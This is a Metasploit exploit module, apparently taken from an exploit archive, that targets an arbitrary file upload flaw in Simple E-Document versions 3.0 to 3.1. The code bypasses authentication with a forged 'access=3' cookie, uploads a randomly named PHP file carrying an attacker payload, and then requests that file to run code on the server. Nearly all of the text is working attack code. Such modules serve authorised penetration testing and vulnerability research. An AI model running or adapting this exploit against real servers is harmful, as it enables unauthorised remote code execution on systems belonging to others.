Simple E-document – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Simple E-Document Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability found in Simple E-Document versions 3.0 to 3.1. Attackers can bypass authentication and abuse the upload feature in order to upload malicious PHP files which results in arbitrary remote code execution as the web server user. File uploads are disabled by default. }, 'License' => MSF_LICENSE, 'Author' => [ 'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ # This EDB uses SQLI for auth bypass which isn't needed. # Sending "Cookie: access=3" with all requests is all # that's needed for auth bypass. ['EDB', '31142'] ], 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144 # 256k }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ # Tested on Simple E-Document versions 3.0 and 3.1 [ 'Generic (PHP Payload)', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Jan 23 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Simple E-Document', '/simple_e_document_v_1_31/']) ], self.class) end # # Checks if target allows file uploads # def check res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'upload.php'), 'cookie' => 'access=3' }) unless res vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body and res.body.to_s =~ /File Uploading Has Been Disabled/ vprint_error("#{peer} - File uploads are disabled") return Exploit::CheckCode::Safe end if res.body and res.body.to_s =~ /Upload File/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end # # Uploads our malicious file # def upload @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="op1"') data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"") post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') print_status("#{peer} - Uploading malicious file...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => 'access=3', 'data' => post_data, 'vars_get' => { 'op' => 'newin' } }) fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") unless res fail_with(Failure::NotFound, "#{peer} - No upload.php found") if res.code.to_i == 404 fail_with(Failure::UnexpectedReply, "#{peer} - Unable to write #{@fname}") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\!/) print_good("#{peer} - Payload uploaded successfully.") register_files_for_cleanup(@fname) if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\/?(.+)<br>/ @upload_path = normalize_uri(target_uri.path, "#{$1}") print_good("#{peer} - Found upload path #{@upload_path}") else @upload_path = normalize_uri(target_uri.path, 'in') print_warning("#{peer} - Could not find upload path - assuming '#{@upload_path}'") end end # # Executes our uploaded malicious file # def exec print_status("#{peer} - Executing #{@fname}...") res = send_request_raw({ 'uri' => normalize_uri(@upload_path, @fname), 'cookie' => 'access=3' }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}") end end # # Just upload and execute # def exploit upload exec end end |